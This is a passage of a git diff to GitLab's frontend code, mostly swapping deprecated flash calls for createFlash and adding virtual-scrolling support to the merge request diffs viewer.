.catch(() => {
this.isLoading = false;
this.store.keys = {};
- return new Flash(s__('DeployKeys|Error getting deploy keys'));
+ return createFlash({
+ message: s__('DeployKeys|Error getting deploy keys'),
+ });
});
},
enableKey(deployKey) {
this.service
.enableKey(deployKey.id)
.then(this.fetchKeys)
- .catch(() => new Flash(s__('DeployKeys|Error enabling deploy key')));
+ .catch(() =>
+ createFlash({
+ message: s__('DeployKeys|Error enabling deploy key'),
+ }),
+ );
},
confirmRemoveKey(deployKey, callback) {
const hideModal = () => {
@@ -112,7 +118,11 @@ export default {
.disableKey(deployKey.id)
.then(this.fetchKeys)
.then(hideModal)
- .catch(() => new Flash(s__('DeployKeys|Error removing deploy key')));
+ .catch(() =>
+ createFlash({
+ message: s__('DeployKeys|Error removing deploy key'),
+ }),
+ );
};
this.cancel = hideModal;
this.confirmModalVisible = true;
diff --git a/app/assets/javascripts/design_management/components/design_notes/design_discussion.vue b/app/assets/javascripts/design_management/components/design_notes/design_discussion.vue
index b1c37b0687f..78ba586ce37 100644
--- a/app/assets/javascripts/design_management/components/design_notes/design_discussion.vue
+++ b/app/assets/javascripts/design_management/components/design_notes/design_discussion.vue
@@ -221,7 +221,7 @@ export default {
@click.stop="toggleResolvedStatus"
>
<gl-icon v-if="!isResolving" :name="resolveIconName" data-testid="resolve-icon" />
- <gl-loading-icon v-else inline />
+ <gl-loading-icon v-else size="sm" inline />
</button>
</template>
<template v-if="discussion.resolved" #resolved-status>
diff --git a/app/assets/javascripts/design_management/components/design_notes/design_note.vue b/app/assets/javascripts/design_management/components/design_notes/design_note.vue
index 833d7081a2c..1e1f5135290 100644
--- a/app/assets/javascripts/design_management/components/design_notes/design_note.vue
+++ b/app/assets/javascripts/design_management/components/design_notes/design_note.vue
@@ -1,6 +1,7 @@
<script>
import { GlTooltipDirective, GlIcon, GlLink, GlSafeHtmlDirective } from '@gitlab/ui';
import { ApolloMutation } from 'vue-apollo';
+import { getIdFromGraphQLId } from '~/graphql_shared/utils';
import { __ } from '~/locale';
import TimelineEntryItem from '~/vue_shared/components/notes/timeline_entry_item.vue';
import TimeAgoTooltip from '~/vue_shared/components/time_ago_tooltip.vue';
@@ -48,6 +49,9 @@ export default {
author() {
return this.note.author;
},
+ authorId() {
+ return getIdFromGraphQLId(this.author.id);
+ },
noteAnchorId() {
return findNoteId(this.note.id);
},
@@ -94,7 +98,7 @@ export default {
v-once
:href="author.webUrl"
class="js-user-link"
- :data-user-id="author.id"
+ :data-user-id="authorId"
:data-username="author.username"
>
<span class="note-header-author-name gl-font-weight-bold">{{ author.name }}</span>
diff --git a/app/assets/javascripts/design_management/components/design_todo_button.vue b/app/assets/javascripts/design_management/components/design_todo_button.vue
index da492f03801..013dd1d89f3 100644
--- a/app/assets/javascripts/design_management/components/design_todo_button.vue
+++ b/app/assets/javascripts/design_management/components/design_todo_button.vue
@@ -1,6 +1,6 @@
<script>
import todoMarkDoneMutation from '~/graphql_shared/mutations/todo_mark_done.mutation.graphql';
-import TodoButton from '~/vue_shared/components/todo_button.vue';
+import TodoButton from '~/vue_shared/components/sidebar/todo_toggle/todo_button.vue';
import createDesignTodoMutation from '../graphql/mutations/create_design_todo.mutation.graphql';
import getDesignQuery from '../graphql/queries/get_design.query.graphql';
import allVersionsMixin from '../mixins/all_versions';
@@ -60,22 +60,6 @@ export default {
},
},
methods: {
- updateGlobalTodoCount(additionalTodoCount) {
- const currentCount = parseInt(document.querySelector('.js-todos-count').innerText, 10);
- const todoToggleEvent = new CustomEvent('todo:toggle', {
- detail: {
- count: Math.max(currentCount + additionalTodoCount, 0),
- },
- });
-
- document.dispatchEvent(todoToggleEvent);
- },
- incrementGlobalTodoCount() {
- this.updateGlobalTodoCount(1);
- },
- decrementGlobalTodoCount() {
- this.updateGlobalTodoCount(-1);
- },
createTodo() {
this.todoLoading = true;
return this.$apollo
@@ -92,9 +76,6 @@ export default {
}
},
})
- .then(() => {
- this.incrementGlobalTodoCount();
- })
.catch((err) => {
this.$emit('error', Error(CREATE_DESIGN_TODO_ERROR));
throw err;
@@ -130,9 +111,6 @@ export default {
}
},
})
- .then(() => {
- this.decrementGlobalTodoCount();
- })
.catch((err) => {
this.$emit('error', Error(DELETE_DESIGN_TODO_ERROR));
throw err;
diff --git a/app/assets/javascripts/design_management/pages/design/index.vue b/app/assets/javascripts/design_management/pages/design/index.vue
index ad78433c7ce..19bfa123487 100644
--- a/app/assets/javascripts/design_management/pages/design/index.vue
+++ b/app/assets/javascripts/design_management/pages/design/index.vue
@@ -41,7 +41,7 @@ import {
TOGGLE_TODO_ERROR,
designDeletionError,
} from '../../utils/error_messages';
-import { trackDesignDetailView, usagePingDesignDetailView } from '../../utils/tracking';
+import { trackDesignDetailView, servicePingDesignDetailView } from '../../utils/tracking';
const DEFAULT_SCALE = 1;
@@ -292,7 +292,7 @@ export default {
);
if (this.glFeatures.usageDataDesignAction) {
- usagePingDesignDetailView();
+ servicePingDesignDetailView();
}
},
updateActiveDiscussion(id, source = ACTIVE_DISCUSSION_SOURCE_TYPES.discussion) {
diff --git a/app/assets/javascripts/design_management/utils/tracking.js b/app/assets/javascripts/design_management/utils/tracking.js
index 905134fa985..23aec46c152 100644
--- a/app/assets/javascripts/design_management/utils/tracking.js
+++ b/app/assets/javascripts/design_management/utils/tracking.js
@@ -14,7 +14,7 @@ export const DESIGN_SNOWPLOW_EVENT_TYPES = {
UPDATE_DESIGN: 'update_design',
};
-export const DESIGN_USAGE_PING_EVENT_TYPES = {
+export const DESIGN_SERVICE_PING_EVENT_TYPES = {
DESIGN_ACTION: 'design_action',
};
@@ -52,8 +52,8 @@ export function trackDesignUpdate() {
}
/**
- * Track "design detail" view via usage ping
+ * Track "design detail" view via service ping
*/
-export function usagePingDesignDetailView() {
- Api.trackRedisHllUserEvent(DESIGN_USAGE_PING_EVENT_TYPES.DESIGN_ACTION);
+export function servicePingDesignDetailView() {
+ Api.trackRedisHllUserEvent(DESIGN_SERVICE_PING_EVENT_TYPES.DESIGN_ACTION);
}
diff --git a/app/assets/javascripts/diff.js b/app/assets/javascripts/diff.js
index 7200e6c2e3a..14d6e2db09d 100644
--- a/app/assets/javascripts/diff.js
+++ b/app/assets/javascripts/diff.js
@@ -1,5 +1,5 @@
import $ from 'jquery';
-import { deprecatedCreateFlash as flash } from '~/flash';
+import createFlash from '~/flash';
import axios from '~/lib/utils/axios_utils';
import { __ } from '~/locale';
import FilesCommentButton from './files_comment_button';
@@ -77,7 +77,11 @@ export default class Diff {
axios
.get(link, { params })
.then(({ data }) => $target.parent().replaceWith(data))
- .catch(() => flash(__('An error occurred while loading diff')));
+ .catch(() =>
+ createFlash({
+ message: __('An error occurred while loading diff'),
+ }),
+ );
}
openAnchoredDiff(cb) {
diff --git a/app/assets/javascripts/diffs/components/app.vue b/app/assets/javascripts/diffs/components/app.vue
index 61946d345e3..e33b60f8ab5 100644
--- a/app/assets/javascripts/diffs/components/app.vue
+++ b/app/assets/javascripts/diffs/components/app.vue
@@ -14,7 +14,7 @@ import {
} from '~/behaviors/shortcuts/keybindings';
import createFlash from '~/flash';
import { isSingleViewStyle } from '~/helpers/diffs_helper';
-import { getParameterByName, parseBoolean } from '~/lib/utils/common_utils';
+import { parseBoolean } from '~/lib/utils/common_utils';
import { updateHistory } from '~/lib/utils/url_utility';
import { __ } from '~/locale';
import PanelResizer from '~/vue_shared/components/panel_resizer.vue';
@@ -42,6 +42,7 @@ import {
TRACKING_MULTIPLE_FILES_MODE,
} from '../constants';
+import diffsEventHub from '../event_hub';
import { reviewStatuses } from '../utils/file_reviews';
import { diffsApp } from '../utils/performance';
import { fileByFile } from '../utils/preferences';
@@ -52,7 +53,9 @@ import DiffFile from './diff_file.vue';
import HiddenFilesWarning from './hidden_files_warning.vue';
import MergeConflictWarning from './merge_conflict_warning.vue';
import NoChanges from './no_changes.vue';
+import PreRenderer from './pre_renderer.vue';
import TreeList from './tree_list.vue';
+import VirtualScrollerScrollSync from './virtual_scroller_scroll_sync';
export default {
name: 'DiffsApp',
@@ -71,6 +74,8 @@ export default {
GlSprintf,
DynamicScroller,
DynamicScrollerItem,
+ PreRenderer,
+ VirtualScrollerScrollSync,
},
alerts: {
ALERT_OVERFLOW_HIDDEN,
@@ -166,6 +171,8 @@ export default {
return {
treeWidth,
diffFilesLength: 0,
+ virtualScrollCurrentIndex: -1,
+ disableVirtualScroller: false,
};
},
computed: {
@@ -186,6 +193,7 @@ export default {
'showTreeList',
'isLoading',
'startVersion',
+ 'latestDiff',
'currentDiffFileId',
'isTreeLoaded',
'conflictResolutionPath',
@@ -228,8 +236,8 @@ export default {
isLimitedContainer() {
return !this.renderFileTree && !this.isParallelView && !this.isFluidLayout;
},
- isDiffHead() {
- return parseBoolean(getParameterByName('diff_head'));
+ isFullChangeset() {
+ return this.startVersion === null && this.latestDiff;
},
showFileByFileNavigation() {
return this.diffFiles.length > 1 && this.viewDiffsFileByFile;
@@ -252,7 +260,7 @@ export default {
if (this.renderOverflowWarning) {
visible = this.$options.alerts.ALERT_OVERFLOW_HIDDEN;
- } else if (this.isDiffHead && this.hasConflicts) {
+ } else if (this.isFullChangeset && this.hasConflicts) {
visible = this.$options.alerts.ALERT_MERGE_CONFLICT;
} else if (this.whichCollapsedTypes.automatic && !this.viewDiffsFileByFile) {
visible = this.$options.alerts.ALERT_COLLAPSED_FILES;
@@ -323,6 +331,11 @@ export default {
this.setHighlightedRow(id.split('diff-content').pop().slice(1));
}
+ if (window.gon?.features?.diffsVirtualScrolling) {
+ diffsEventHub.$on('scrollToFileHash', this.scrollVirtualScrollerToFileHash);
+ diffsEventHub.$on('scrollToIndex', this.scrollVirtualScrollerToIndex);
+ }
+
if (window.gon?.features?.diffSettingsUsageData) {
if (this.renderTreeList) {
api.trackRedisHllUserEvent(TRACKING_FILE_BROWSER_TREE);
@@ -377,6 +390,11 @@ export default {
diffsApp.deinstrument();
this.unsubscribeFromEvents();
this.removeEventListeners();
+
+ if (window.gon?.features?.diffsVirtualScrolling) {
+ diffsEventHub.$off('scrollToFileHash', this.scrollVirtualScrollerToFileHash);
+ diffsEventHub.$off('scrollToIndex', this.scrollVirtualScrollerToIndex);
+ }
},
methods: {
...mapActions(['startTaskList']),
@@ -458,7 +476,11 @@ export default {
},
setDiscussions() {
requestIdleCallback(
- () => this.assignDiscussionsToDiff().then(this.$nextTick).then(this.startTaskList),
+ () =>
+ this.assignDiscussionsToDiff()
+ .then(this.$nextTick)
+ .then(this.startTaskList)
+ .then(this.scrollVirtualScrollerToDiffNote),
{ timeout: 1000 },
);
},
@@ -483,12 +505,17 @@ export default {
this.moveToNeighboringCommit({ direction: 'previous' }),
);
}
+
+ Mousetrap.bind(['ctrl+f', 'command+f'], () => {
+ this.disableVirtualScroller = true;
+ });
},
removeEventListeners() {
Mousetrap.unbind(keysFor(MR_PREVIOUS_FILE_IN_DIFF));
Mousetrap.unbind(keysFor(MR_NEXT_FILE_IN_DIFF));
Mousetrap.unbind(keysFor(MR_COMMITS_NEXT_COMMIT));
Mousetrap.unbind(keysFor(MR_COMMITS_PREVIOUS_COMMIT));
+ Mousetrap.unbind(['ctrl+f', 'command+f']);
},
jumpToFile(step) {
const targetIndex = this.currentDiffIndex + step;
@@ -508,6 +535,36 @@ export default {
return this.setShowTreeList({ showTreeList, saving: false });
},
+ async scrollVirtualScrollerToFileHash(hash) {
+ const index = this.diffFiles.findIndex((f) => f.file_hash === hash);
+
+ if (index !== -1) {
+ this.scrollVirtualScrollerToIndex(index);
+ }
+ },
+ async scrollVirtualScrollerToIndex(index) {
+ this.virtualScrollCurrentIndex = index;
+
+ await this.$nextTick();
+
+ this.virtualScrollCurrentIndex = -1;
+ },
+ scrollVirtualScrollerToDiffNote() {
+ if (!window.gon?.features?.diffsVirtualScrolling) return;
+
+ const id = window?.location?.hash;
+
+ if (id.startsWith('#note_')) {
+ const noteId = id.replace('#note_', '');
+ const discussion = this.$store.state.notes.discussions.find(
+ (d) => d.diff_file && d.notes.find((n) => n.id === noteId),
+ );
+
+ if (discussion) {
+ this.scrollVirtualScrollerToFileHash(discussion.diff_file.file_hash);
+ }
+ }
+ },
},
minTreeWidth: MIN_TREE_WIDTH,
maxTreeWidth: MAX_TREE_WIDTH,
@@ -571,7 +628,8 @@ export default {
<div v-if="isBatchLoading" class="loading"><gl-loading-icon size="lg" /></div>
<template v-else-if="renderDiffFiles">
<dynamic-scroller
- v-if="isVirtualScrollingEnabled"
+ v-if="!disableVirtualScroller && isVirtualScrollingEnabled"
+ ref="virtualScroller"
:items="diffs"
:min-item-size="70"
:buffer="1000"
@@ -579,7 +637,7 @@ export default {
page-mode
>
<template #default="{ item, index, active }">
- <dynamic-scroller-item :item="item" :active="active">
+ <dynamic-scroller-item :item="item" :active="active" :class="{ active }">
<diff-file
:file="item"
:reviewed="fileReviews[item.id]"
@@ -588,9 +646,29 @@ export default {
:help-page-path="helpPagePath"
:can-current-user-fork="canCurrentUserFork"
:view-diffs-file-by-file="viewDiffsFileByFile"
+ :active="active"
/>
</dynamic-scroller-item>
</template>
+ <template #before>
+ <pre-renderer :max-length="diffFilesLength">
+ <template #default="{ item, index, active }">
+ <dynamic-scroller-item :item="item" :active="active">
+ <diff-file
+ :file="item"
+ :reviewed="fileReviews[item.id]"
+ :is-first-file="index === 0"
+ :is-last-file="index === diffFilesLength - 1"
+ :help-page-path="helpPagePath"
+ :can-current-user-fork="canCurrentUserFork"
+ :view-diffs-file-by-file="viewDiffsFileByFile"
+ pre-render
+ />
+ </dynamic-scroller-item>
+ </template>
+ </pre-renderer>
+ <virtual-scroller-scroll-sync :index="virtualScrollCurrentIndex" />
+ </template>
</dynamic-scroller>
<template v-else>
<diff-file
diff --git a/app/assets/javascripts/diffs/components/collapsed_files_warning.vue b/app/assets/javascripts/diffs/components/collapsed_files_warning.vue
index 0cf1cdb17f8..240f102e600 100644
--- a/app/assets/javascripts/diffs/components/collapsed_files_warning.vue
+++ b/app/assets/javascripts/diffs/components/collapsed_files_warning.vue
@@ -1,5 +1,6 @@
<script>
import { GlAlert, GlButton } from '@gitlab/ui';
+import { mapState } from 'vuex';
import { CENTERED_LIMITED_CONTAINER_CLASSES, EVT_EXPAND_ALL_FILES } from '../constants';
import eventHub from '../event_hub';
@@ -27,11 +28,15 @@ export default {
};
},
computed: {
+ ...mapState('diffs', ['diffFiles']),
containerClasses() {
return {
[CENTERED_LIMITED_CONTAINER_CLASSES]: this.limited,
};
},
+ shouldDisplay() {
+ return !this.isDismissed && this.diffFiles.length > 1;
+ },
},
methods: {
@@ -48,7 +53,7 @@ export default {
</script>
<template>
- <div v-if="!isDismissed" data-testid="root" :class="containerClasses" class="col-12">
+ <div v-if="shouldDisplay" data-testid="root" :class="containerClasses" class="col-12">
<gl-alert
:dismissible="true"
:title="__('Some changes are not shown')"
diff --git a/app/assets/javascripts/diffs/components/compare_versions.vue b/app/assets/javascripts/diffs/components/compare_versions.vue
index e2a1f7236c5..f098d20afd1 100644
--- a/app/assets/javascripts/diffs/components/compare_versions.vue
+++ b/app/assets/javascripts/diffs/components/compare_versions.vue
@@ -99,7 +99,7 @@ export default {
v-gl-tooltip.hover
variant="default"
icon="file-tree"
- class="gl-mr-3 js-toggle-tree-list"
+ class="gl-mr-3 js-toggle-tree-list btn-icon"
:title="toggleFileBrowserTitle"
:aria-label="toggleFileBrowserTitle"
:selected="showTreeList"
@@ -109,7 +109,7 @@ export default {
{{ __('Viewing commit') }}
<gl-link :href="commit.commit_url" class="monospace">{{ commit.short_id }}</gl-link>
</div>
- <div v-if="hasNeighborCommits" class="commit-nav-buttons ml-3">
+ <div v-if="hasNeighborCommits" class="commit-nav-buttons">
<gl-button-group>
<gl-button
:href="previousCommitUrl"
@@ -160,6 +160,15 @@ export default {
/>
</template>
</gl-sprintf>
+ <gl-button
+ v-if="commit || startVersion"
+ :href="latestVersionPath"
+ variant="default"
+ class="js-latest-version"
+ :class="{ 'gl-ml-3': commit && !hasNeighborCommits }"
+ >
+ {{ __('Show latest version') }}
+ </gl-button>
<div v-if="hasChanges" class="inline-parallel-buttons d-none d-md-flex ml-auto">
<diff-stats
:diff-files-count-text="diffFilesCountText"
@@ -167,14 +176,6 @@ export default {
:removed-lines="removedLines"
/>
<gl-button
- v-if="commit || startVersion"
- :href="latestVersionPath"
- variant="default"
- class="gl-mr-3 js-latest-version"
- >
- {{ __('Show latest version') }}
- </gl-button>
- <gl-button
v-show="whichCollapsedTypes.any"
variant="default"
class="gl-mr-3"
diff --git a/app/assets/javascripts/diffs/components/diff_content.vue b/app/assets/javascripts/diffs/components/diff_content.vue
index cb74c7dc7cd..858d9e221ae 100644
--- a/app/assets/javascripts/diffs/components/diff_content.vue
+++ b/app/assets/javascripts/diffs/components/diff_content.vue
@@ -1,7 +1,7 @@
<script>
import { GlLoadingIcon } from '@gitlab/ui';
import { mapActions, mapGetters, mapState } from 'vuex';
-import { mapInline, mapParallel } from 'ee_else_ce/diffs/components/diff_row_utils';
+import { mapParallel } from 'ee_else_ce/diffs/components/diff_row_utils';
import DiffFileDrafts from '~/batch_comments/components/diff_file_drafts.vue';
import draftCommentsMixin from '~/diffs/mixins/draft_comments';
import { diffViewerModes } from '~/ide/constants';
@@ -9,7 +9,6 @@ import diffLineNoteFormMixin from '~/notes/mixins/diff_line_note_form';
import DiffViewer from '~/vue_shared/components/diff_viewer/diff_viewer.vue';
import NoPreviewViewer from '~/vue_shared/components/diff_viewer/viewers/no_preview.vue';
import NotDiffableViewer from '~/vue_shared/components/diff_viewer/viewers/not_diffable.vue';
-import glFeatureFlagsMixin from '~/vue_shared/mixins/gl_feature_flags_mixin';
import NoteForm from '../../notes/components/note_form.vue';
import eventHub from '../../notes/event_hub';
import userAvatarLink from '../../vue_shared/components/user_avatar/user_avatar_link.vue';
@@ -18,14 +17,10 @@ import { getDiffMode } from '../store/utils';
import DiffDiscussions from './diff_discussions.vue';
import DiffView from './diff_view.vue';
import ImageDiffOverlay from './image_diff_overlay.vue';
-import InlineDiffView from './inline_diff_view.vue';
-import ParallelDiffView from './parallel_diff_view.vue';
export default {
components: {
GlLoadingIcon,
- InlineDiffView,
- ParallelDiffView,
DiffView,
DiffViewer,
NoteForm,
@@ -36,7 +31,7 @@ export default {
userAvatarLink,
DiffFileDrafts,
},
- mixins: [diffLineNoteFormMixin, draftCommentsMixin, glFeatureFlagsMixin()],
+ mixins: [diffLineNoteFormMixin, draftCommentsMixin],
props: {
diffFile: {
type: Object,
@@ -52,7 +47,6 @@ export default {
...mapState('diffs', ['projectPath']),
...mapGetters('diffs', [
'isInlineView',
- 'isParallelView',
'getCommentFormForDiffFile',
'diffLines',
'fileLineCodequality',
@@ -86,15 +80,8 @@ export default {
return this.getUserData;
},
mappedLines() {
- if (this.glFeatures.unifiedDiffComponents) {
- return this.diffLines(this.diffFile, true).map(mapParallel(this)) || [];
- }
-
- // TODO: Everything below this line can be deleted when unifiedDiffComponents FF is removed
- if (this.isInlineView) {
- return this.diffFile.highlighted_diff_lines.map(mapInline(this));
- }
- return this.diffLines(this.diffFile).map(mapParallel(this));
+ // TODO: Do this data generation when we recieve a response to save a computed property being created
+ return this.diffLines(this.diffFile).map(mapParallel(this)) || [];
},
},
updated() {
@@ -126,7 +113,7 @@ export default {
<template>
<div class="diff-content">
<div class="diff-viewer">
- <template v-if="isTextFile && glFeatures.unifiedDiffComponents">
+ <template v-if="isTextFile">
<diff-view
:diff-file="diffFile"
:diff-lines="mappedLines"
@@ -135,21 +122,6 @@ export default {
/>
<gl-loading-icon v-if="diffFile.renderingLines" size="md" class="mt-3" />
</template>
- <template v-else-if="isTextFile">
- <inline-diff-view
- v-if="isInlineView"
- :diff-file="diffFile"
- :diff-lines="mappedLines"
- :help-page-path="helpPagePath"
- />
- <parallel-diff-view
- v-else-if="isParallelView"
- :diff-file="diffFile"
- :diff-lines="mappedLines"
- :help-page-path="helpPagePath"
- />
- <gl-loading-icon v-if="diffFile.renderingLines" size="md" class="mt-3" />
- </template>
<not-diffable-viewer v-else-if="notDiffable" />
<no-preview-viewer v-else-if="noPreview" />
<diff-viewer
diff --git a/app/assets/javascripts/diffs/components/diff_file.vue b/app/assets/javascripts/diffs/components/diff_file.vue
index ed8455f0c1c..dde5ea81e9a 100644
--- a/app/assets/javascripts/diffs/components/diff_file.vue
+++ b/app/assets/javascripts/diffs/components/diff_file.vue
@@ -2,6 +2,7 @@
import { GlButton, GlLoadingIcon, GlSafeHtmlDirective as SafeHtml, GlSprintf } from '@gitlab/ui';
import { escape } from 'lodash';
import { mapActions, mapGetters, mapState } from 'vuex';
+import { IdState } from 'vendor/vue-virtual-scroller';
import createFlash from '~/flash';
import { hasDiff } from '~/helpers/diffs_helper';
import { diffViewerErrors } from '~/ide/constants';
@@ -19,7 +20,7 @@ import {
} from '../constants';
import eventHub from '../event_hub';
import { DIFF_FILE, GENERIC_ERROR } from '../i18n';
-import { collapsedType, isCollapsed, getShortShaFromFile } from '../utils/diff_file';
+import { collapsedType, getShortShaFromFile } from '../utils/diff_file';
import DiffContent from './diff_content.vue';
import DiffFileHeader from './diff_file_header.vue';
@@ -34,7 +35,7 @@ export default {
directives: {
SafeHtml,
},
- mixins: [glFeatureFlagsMixin()],
+ mixins: [glFeatureFlagsMixin(), IdState({ idProp: (vm) => vm.file.file_hash })],
props: {
file: {
type: Object,
@@ -68,12 +69,22 @@ export default {
type: Boolean,
required: true,
},
+ active: {
+ type: Boolean,
+ required: false,
+ default: true,
+ },
+ preRender: {
+ type: Boolean,
+ required: false,
+ default: false,
+ },
},
- data() {
+ idState() {
return {
isLoadingCollapsedDiff: false,
forkMessageVisible: false,
- isCollapsed: isCollapsed(this.file),
+ hasToggled: false,
};
},
i18n: {
@@ -91,7 +102,7 @@ export default {
return getShortShaFromFile(this.file);
},
showLoadingIcon() {
- return this.isLoadingCollapsedDiff || (!this.file.renderIt && !this.isCollapsed);
+ return this.idState.isLoadingCollapsedDiff || (!this.file.renderIt && !this.isCollapsed);
},
hasDiff() {
return hasDiff(this.file);
@@ -152,45 +163,39 @@ export default {
codequalityDiffForFile() {
return this.codequalityDiff?.files?.[this.file.file_path] || [];
},
+ isCollapsed() {
+ if (collapsedType(this.file) !== DIFF_FILE_MANUAL_COLLAPSE) {
+ return this.viewDiffsFileByFile ? false : this.file.viewer?.automaticallyCollapsed;
+ }
+
+ return this.file.viewer?.manuallyCollapsed;
+ },
},
watch: {
'file.id': {
handler: function fileIdHandler() {
+ if (this.preRender) return;
+
this.manageViewedEffects();
},
},
'file.file_hash': {
handler: function hashChangeWatch(newHash, oldHash) {
- this.isCollapsed = isCollapsed(this.file);
-
- if (newHash && oldHash && !this.hasDiff) {
+ if (newHash && oldHash && !this.hasDiff && !this.preRender) {
this.requestDiff();
}
},
- immediate: true,
- },
- 'file.viewer.automaticallyCollapsed': {
- handler: function autoChangeWatch(automaticValue) {
- if (collapsedType(this.file) !== DIFF_FILE_MANUAL_COLLAPSE) {
- this.isCollapsed = this.viewDiffsFileByFile ? false : automaticValue;
- }
- },
- immediate: true,
- },
- 'file.viewer.manuallyCollapsed': {
- handler: function manualChangeWatch(manualValue) {
- if (manualValue !== null) {
- this.isCollapsed = manualValue;
- }
- },
- immediate: true,
},
},
created() {
+ if (this.preRender) return;
+
notesEventHub.$on(`loadCollapsedDiff/${this.file.file_hash}`, this.requestDiff);
eventHub.$on(EVT_EXPAND_ALL_FILES, this.expandAllListener);
},
mounted() {
+ if (this.preRender) return;
+
if (this.hasDiff) {
this.postRender();
}
@@ -198,6 +203,8 @@ export default {
this.manageViewedEffects();
},
beforeDestroy() {
+ if (this.preRender) return;
+
eventHub.$off(EVT_EXPAND_ALL_FILES, this.expandAllListener);
},
methods: {
@@ -208,8 +215,14 @@ export default {
'setFileCollapsedByUser',
]),
manageViewedEffects() {
- if (this.reviewed && !this.isCollapsed && this.showLocalFileReviews) {
+ if (
+ !this.idState.hasToggled &&
+ this.reviewed &&
+ !this.isCollapsed &&
+ this.showLocalFileReviews
+ ) {
this.handleToggle();
+ this.idState.hasToggled = true;
}
},
expandAllListener() {
@@ -252,11 +265,11 @@ export default {
}
},
requestDiff() {
- this.isLoadingCollapsedDiff = true;
+ this.idState.isLoadingCollapsedDiff = true;
this.loadCollapsedDiff(this.file)
.then(() => {
- this.isLoadingCollapsedDiff = false;
+ this.idState.isLoadingCollapsedDiff = false;
this.setRenderIt(this.file);
})
.then(() => {
@@ -269,17 +282,17 @@ export default {
);
})
.catch(() => {
- this.isLoadingCollapsedDiff = false;
+ this.idState.isLoadingCollapsedDiff = false;
createFlash({
message: this.$options.i18n.genericError,
});
});
},
showForkMessage() {
- this.forkMessageVisible = true;
+ this.idState.forkMessageVisible = true;
},
hideForkMessage() {
- this.forkMessageVisible = false;
+ this.idState.forkMessageVisible = false;
},
},
};
@@ -287,7 +300,7 @@ export default {
<template>
<div
- :id="file.file_hash"
+ :id="!preRender && active && file.file_hash"
:class="{
'is-active': currentDiffFileId === file.file_hash,
'comments-disabled': Boolean(file.brokenSymlink),
@@ -313,7 +326,10 @@ export default {
@showForkMessage="showForkMessage"
/>
- <div v-if="forkMessageVisible" class="js-file-fork-suggestion-section file-fork-suggestion">
+ <div
+ v-if="idState.forkMessageVisible"
+ class="js-file-fork-suggestion-section file-fork-suggestion"
+ >
<span v-safe-html="forkMessage" class="file-fork-suggestion-note"></span>
<a
:href="file.fork_path"
@@ -330,12 +346,13 @@ export default {
</div>
<template v-else>
<div
- :id="`diff-content-${file.file_hash}`"
+ :id="!preRender && active && `diff-content-${file.file_hash}`"
:class="hasBodyClasses.contentByHash"
data-testid="content-area"
>
<gl-loading-icon
v-if="showLoadingIcon"
+ size="sm"
class="diff-content loading gl-my-0 gl-pt-3"
data-testid="loader-icon"
/>
@@ -357,7 +374,7 @@ export default {
</div>
<template v-else>
<div
- v-show="showWarning"
+ v-if="showWarning"
class="collapsed-file-warning gl-p-7 gl-bg-orange-50 gl-text-center gl-rounded-bottom-left-base gl-rounded-bottom-right-base"
>
<p class="gl-mb-5">
@@ -373,7 +390,7 @@ export default {
</gl-button>
</div>
<diff-content
- v-show="showContent"
+ v-if="showContent"
:class="hasBodyClasses.content"
:diff-file="file"
:help-page-path="helpPagePath"
diff --git a/app/assets/javascripts/diffs/components/diff_file_header.vue b/app/assets/javascripts/diffs/components/diff_file_header.vue
index 45c7fe35f03..667b8745f7b 100644
--- a/app/assets/javascripts/diffs/components/diff_file_header.vue
+++ b/app/assets/javascripts/diffs/components/diff_file_header.vue
@@ -13,6 +13,7 @@ import {
} from '@gitlab/ui';
import { escape } from 'lodash';
import { mapActions, mapGetters, mapState } from 'vuex';
+import { IdState } from 'vendor/vue-virtual-scroller';
import { diffViewerModes } from '~/ide/constants';
import { scrollToElement } from '~/lib/utils/common_utils';
import { truncateSha } from '~/lib/utils/text_utility';
@@ -41,13 +42,12 @@ export default {
GlDropdownDivider,
GlFormCheckbox,
GlLoadingIcon,
- CodeQualityBadge: () => import('ee_component/diffs/components/code_quality_badge.vue'),
},
directives: {
GlTooltip: GlTooltipDirective,
SafeHtml: GlSafeHtmlDirective,
},
- mixins: [glFeatureFlagsMixin()],
+ mixins: [glFeatureFlagsMixin(), IdState({ idProp: (vm) => vm.diffFile.file_hash })],
i18n: {
...DIFF_FILE_HEADER,
compareButtonLabel: s__('Compare submodule commit revisions'),
@@ -102,7 +102,7 @@ export default {
default: () => [],
},
},
- data() {
+ idState() {
return {
moreActionsShown: false,
};
@@ -202,8 +202,18 @@ export default {
externalUrlLabel() {
return sprintf(__('View on %{url}'), { url: this.diffFile.formatted_external_url });
},
- showCodequalityBadge() {
- return this.codequalityDiff?.length > 0 && !this.glFeatures.codequalityMrDiffAnnotations;
+ },
+ watch: {
+ 'idState.moreActionsShown': {
+ handler(val) {
+ const el = this.$el.closest('.vue-recycle-scroller__item-view');
+
+ if (this.glFeatures.diffsVirtualScrolling && el) {
+ // We can't add a style with Vue because of the way the virtual
+ // scroller library renders the diff files
+ el.style.zIndex = val ? '1' : null;
+ }
+ },
},
},
methods: {
@@ -239,7 +249,7 @@ export default {
}
},
setMoreActionsShown(val) {
- this.moreActionsShown = val;
+ this.idState.moreActionsShown = val;
},
toggleReview(newReviewedStatus) {
const autoCollapsed =
@@ -268,7 +278,7 @@ export default {
<template>
<div
ref="header"
- :class="{ 'gl-z-dropdown-menu!': moreActionsShown }"
+ :class="{ 'gl-z-dropdown-menu!': idState.moreActionsShown }"
class="js-file-title file-title file-title-flex-parent"
data-qa-selector="file_title_container"
:data-qa-file-name="filePath"
@@ -292,7 +302,7 @@ export default {
>
<file-icon
:file-name="filePath"
- :size="18"
+ :size="16"
aria-hidden="true"
css-classes="gl-mr-2"
:submodule="diffFile.submodule"
@@ -336,13 +346,6 @@ export default {
data-track-property="diff_copy_file"
/>
- <code-quality-badge
- v-if="showCodequalityBadge"
- :file-name="filePath"
- :codequality-diff="codequalityDiff"
- class="gl-mr-2"
- />
-
<small v-if="isModeChanged" ref="fileMode" class="mr-1">
{{ diffFile.a_mode }} → {{ diffFile.b_mode }}
</small>
@@ -453,7 +456,7 @@ export default {
:disabled="diffFile.isLoadingFullFile"
@click="toggleFullDiff(diffFile.file_path)"
>
- <gl-loading-icon v-if="diffFile.isLoadingFullFile" inline />
+ <gl-loading-icon v-if="diffFile.isLoadingFullFile" size="sm" inline />
{{ expandDiffToFullFileTitle }}
</gl-dropdown-item>
</template>
diff --git a/app/assets/javascripts/diffs/components/diff_line_note_form.vue b/app/assets/javascripts/diffs/components/diff_line_note_form.vue
index c907b5dffaf..c445989f143 100644
--- a/app/assets/javascripts/diffs/components/diff_line_note_form.vue
+++ b/app/assets/javascripts/diffs/components/diff_line_note_form.vue
